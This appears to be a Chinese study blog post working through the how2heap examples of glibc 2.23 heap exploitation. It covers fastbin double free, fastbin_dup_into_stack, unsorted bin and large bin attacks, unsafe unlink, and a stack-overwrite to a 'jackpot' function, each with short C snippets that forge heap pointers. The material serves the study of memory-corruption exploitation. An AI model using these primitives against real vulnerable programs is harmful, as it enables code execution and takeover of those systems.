0%

how2heap

跟着 how2heap 学习一下各个版本堆的利用手法,又回到最初的起点,随缘慢慢更新~

基础工作

参考how2heap

gcc 加入调试信息:

1
gcc -g -o fastbin_dup_into_stack fastbin_dup_into_stack.c

gdb 源码调试:

1
2
l #显示源码
b 9 #在第9行下断点

注意需要使用对应 glibc 版本的 gcc 进行编译。

Glibc2.23

fastbin_dup(常用)

UAF 漏洞,需要绕过 double free 检测,利用手法如下:

1
2
3
4
5
6
7
8
9
10
11
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

free(a);
free(b);
free(a);

a = malloc(8);
b = malloc(8);
c = malloc(8);

导致 a 和 c 指向同一处。

fastbin_dup_consolidate

UAF 漏洞,申请小堆块 p1 并释放后,若此时再申请到一个大堆块 p3,则触发malloc_consolidate,p1 被并入 top chunk,而后再分配堆块给 p3,关键代码如下:

1
2
3
4
5
void* p1 = calloc(1,0x40);
free(p1);

void* p3 = malloc(0x400);
assert(p1 == p3);

导致 p1 和 p3 指向同一处。

此时便可以利用 p1 释放 p3,再申请一个大堆块将和 p3 指向同一处:

1
2
3
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);

fastbin_dup_into_stack

UAF 漏洞,承接 fastbin_dup。假设我们泄露出一个栈地址,我们便可以利用 double free 申请到这片栈空间,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned long long stack_var;
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

free(a);
free(b);
free(a);

unsigned long long *d = malloc(8);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); //修改fd为栈指针
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); //此时申请到栈空间

unsorted_bin_attack

也是建立在 UAF 上,可以用来在某处写一个最大值,例如写 global_max_fast。

关键代码如下:

1
2
3
4
5
6
unsigned long stack_var=0;
unsigned long *p=malloc(400);
malloc(500);
free(p);
p[1]=(unsigned long)(&stack_var-2);
malloc(400);

我们需要修改 unsorted bin 中 p 的 BK 指针,使其指向 [目标地址-0x16] 处,可以使目标地址改为一个极大的值 (即 main_arena+88) 。

unsorted_bin_into_stack

建立在堆溢出上,并且能拿到栈地址,即可以通过上一个堆块修改下一个堆块的 size 位。

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
intptr_t* victim = malloc(0x100);
intptr_t* p1 = malloc(0x100); //防止合并
free(victim);

intptr_t stack_buffer[4] = {0};
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer; //在栈上伪造unsorted bin,修改其BK指向任何可写的地方

victim[-1] = 32; //size要不同以通过check: 2*SIZE_SZ (> 16 on x64) && < av->system_mem
victim[1] = (intptr_t)stack_buffer; //通过溢出之类的手法修改第一个堆块的size以及其BK

char *p2 = malloc(0x100); //这一次分配会拿到栈上的空间
intptr_t sc = (intptr_t)jackpot;
memcpy((p2+40), &sc, 8);

需要 off-by-null,并要学会空间复用来修改下一个堆块的 prev_size。

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
uint64_t *chunk0_ptr;	//全局变量

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); //chunk0_ptr全局变量为我们要攻击的地址
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

uint64_t *chunk1_hdr = chunk1_ptr - header_size; //伪造chunk1的header,修改其presize和使用位
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;

此时 chunk 内数据如下:

image-20230924211651997 image-20230924212600974

释放完成 unlink,此时全局变量 victim 就被修改成了指向自己那块空间的指针:

1
free(chunk1_ptr);
image-20230924212729963

注意一般 victim 所在指针具有写的功能,所以可以通过修改它自己以修改其他位置。

large_bin_attack

同样用来写入一个大值,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned long stack_var1 = 0;			//我们的修改目标
unsigned long stack_var2 = 0;

unsigned long *p1 = malloc(0x420);
malloc(0x20);
unsigned long *p2 = malloc(0x500);
malloc(0x20);
unsigned long *p3 = malloc(0x500);
malloc(0x20);

free(p1); //p1和p2链入unsortedbin
free(p2);

malloc(0x90); //p2进入largebin,p1仍在largebin中,被切割
free(p3); //p3链入unsortedbin

p2[-1] = 0x3f1; //改小size位
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4); //修改bk和bk_nextsize

malloc(0x90); //再申请一个,